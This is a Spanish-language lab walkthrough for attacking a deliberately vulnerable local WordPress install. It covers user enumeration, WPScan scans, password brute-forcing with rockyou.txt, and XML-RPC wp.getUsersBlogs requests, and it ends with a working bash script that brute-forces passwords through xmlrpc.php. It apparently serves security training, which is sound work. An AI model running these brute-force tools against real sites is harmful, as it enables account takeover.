Wordpress
🐞 Laboratorio WordPress Vulnerable
🚀Despliegue
-
Seguir instrucciones del repo para levantar un WordPress vulnerable.
-
Acceder a la URL:
http://localhost:31337
Para iniciar sesiónhttp://localhost:31337
`

-
Observamos un WordPress desactualizado. ⚠️

🔍 Enumeración de usuarios y vulnerabilidades
En la página de login:
-
Si ingresas un usuario válido, te confirma que existe. ✅
-
Si ingresas un usuario inválido, muestra otro usuario distinto. ⚠️
→ Esto filtra información sensible y facilita ataques de fuerza bruta. 🔐

🛠 Uso de WPScan para auditoría de seguridad
🏁 Escaneo básico:
wpscan --url http://localhost:31337

🔎 Enumerar usuarios y plugins vulnerables:
wpscan --url http://localhost:31337 -e vp,u
-
vp: plugins vulnerables 🐛 -
u: usuarios 👤

🔑 Uso de API Token para más información
-
Regístrate en la página oficial para obtener el API token.
-
Ejecuta:
wpscan --url http://localhost:31337 -e vp,u --api-token="tu_token"
🔍 Más datos sobre vulnerabilidades y detalles.

🔐 Fuerza bruta con WPScan
Para probar contraseñas con usuario conocido (unai) obtenido por el escaneo anterior:
wpscan --url http://localhost:31337 -U unai -P /usr/share/wordlists/rockyou.txt
Resultado: contraseña encontrada 👉 batman 🎉

🚪 Vulnerabilidad en WordPress vía xmlrpc.php
Si el endpoint http://localhost:31337/xmlrpc.php está expuesto, WordPress puede ser vulnerable a ataques de fuerza bruta usando métodos XML-RPC.
🔎 Listar métodos disponibles
Archivo XML (file.xml):
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
curl -s -X POST "http://localhost:31337/xmlrpc.php" -d@file.xml
Nos interesa wp.getUserBlogs
Comando para enviar la petición:
curl -s -X POST "http://localhost:31337/xmlrpc.php" -d@file.xml

wp.getUserBlogs Sirve para validar usuarios y contraseñas a través de XML-RPC.
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>unai</value></param>
<param><value>incorrecta</value></param>
</params>
</methodCall>
Respuesta: contraseña incorrecta. ❌

XML para prueba con contraseña correcta:
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>unai</value></param>
<param><value>batman</value></param>
</params>
</methodCall>

🛠️ Script Bash para fuerza bruta automática
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Saliendo ... \n"
exit 1
}
trap ctrl_c SIGINT
function createXML(){
password=$1
xmlFile="<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>unai</value></param>
<param><value>$password</value></param>
</params>
</methodCall>"
echo "$xmlFile" > file.xml
response=$(curl -s -X POST "http://localhost:31337/xmlrpc.php" -d@file.xml)
if ! echo "$response" | grep -q "Incorrect username or password."; then
echo -e "\n[+] La contraseña es: $password"
exit 0
fi
}
cat /usr/share/wordlists/rockyou.txt | while read password; do
createXML $password
done